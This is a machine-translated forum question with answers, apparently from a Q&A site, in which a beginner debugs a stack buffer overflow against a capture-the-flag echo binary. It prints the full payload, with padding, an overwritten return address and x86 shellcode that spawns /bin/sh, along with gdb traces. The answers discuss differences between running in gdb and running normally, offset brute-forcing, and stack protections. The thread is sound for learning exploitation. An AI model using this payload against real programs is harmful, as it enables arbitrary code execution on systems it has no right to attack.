2016-12-30 60 views
0

我想了解缓冲区溢出如何工作以及如何使用它。 我正在尝试利用提供的二进制文件解决一个简单的挑战(backdoorlabs回声挑战)。C简单缓冲区溢出

(参见:http://hack.bckdr.in/ECHO/echo

我觉得我做的一切权利(accoring的指南和教程我一直在读),但它仍然没有工作,我都快疯了几个小时,现在已经。

bufferoverflow让我可以写下下一条指令(eip)。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')  

The program being debugged has been started already. 
Start it from the beginning? (y or n) y 

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
0x42424242 in ??() 
(gdb) 

所以我能够覆盖未来EIP,现在让我们来添加它产生一个外壳部分21个字节shell代码,并试图找到的地址在哪里。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
The program being debugged has been started already. 
Start it from the beginning? (y or n) y 

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒ 
     ̀ 

Program received signal SIGSEGV, Segmentation fault. 
0x42424242 in ??() 
(gdb) x/100x $sp 
0xbffff750:  0xe1f7c931  0x2f2f6851  0x2f686873  0x896e6962 
0xbffff760:  0xcd0bb0e3  0xbfff0080  0xbffff80c  0xb7fff3d0 
0xbffff770:  0x08048480  0xffffffff  0x0012efc4  0x080482d8 
0xbffff780:  0x00000001  0xbffff7c0  0x0011eb25  0x0012fab0 

宾果的shellcode就在这里装在0xbffff750,所以这是我们ADRESS想解决的EIP到..

到现在为止一切看起来正确的我,所以我尝试了正确的价值观找到。

(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒ 
     ̀ 

Program received signal SIGSEGV, Segmentation fault. 
0xbffff750 in ??() 
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686 
(gdb) 


(gdb) x/i $eip 
=> 0xbffff750: xor %ecx,%ecx 
(gdb) 

生态工业园得到了改变向右ADRESS和shellcode的很到位然而,当我尝试在我的壳这是行不通的,仍然出现segfaults,你可以看到。

[[email protected] tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') 
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒ 
     ̀ 
Segmentation fault 
[[email protected] tmp]$ 

任何人在这里有一些想法,看到一个错误或有任何其他的想法? 如前所述,我是一名试图了解基本原理的新手,显然我做错了什么。

+0

我认为这个二进制文件可能是用堆栈保护编译的? –

+0

这是gcc编译器使用的标准吗? –

+0

这是由大多数现代操作系统完成的,以防止这些类型的漏洞。你必须使用特殊的选项来禁用它。 – Barmar

回答

0

我觉得你的问题是:

是有计划的实际执行和GDB控制一个之间的差异。

您需要

  1. 预测这种差异。 this question举例说明如何做到这一点。

OR

  • 我之前ALSE面对你的问题个月。当时,我观察到了这种差异。但是我没有用这种方式来找到差异,而是用的开发技巧0x331中的蛮力方法示例:使用shell脚本尝试不同的偏移量。
  • This question可能会在未来帮助您,它会告诉您如何关闭一些安全功能以允许您进行攻击。

    +0

    感谢您的回答,这对我来说很有意义。只是一个想法,如果我将shellcode更改为某个文件而不是shell,那么当在gdb中执行它时,它应该有回显到该文件,对吗? –

    +0

    我也想提一下,bananaappletw也是正确的,因为这个二进制文件有一些保护(如导致段错误的堆栈执行保护,我相信)。我用我自己的资料来源,没有任何保护地编译它,确实偶然发现你正在描述的问题。 –

    +0

    @skanilos我认为它应该可以工作,但shellcode回显到一个文件可能会复杂得多。是,堆栈 –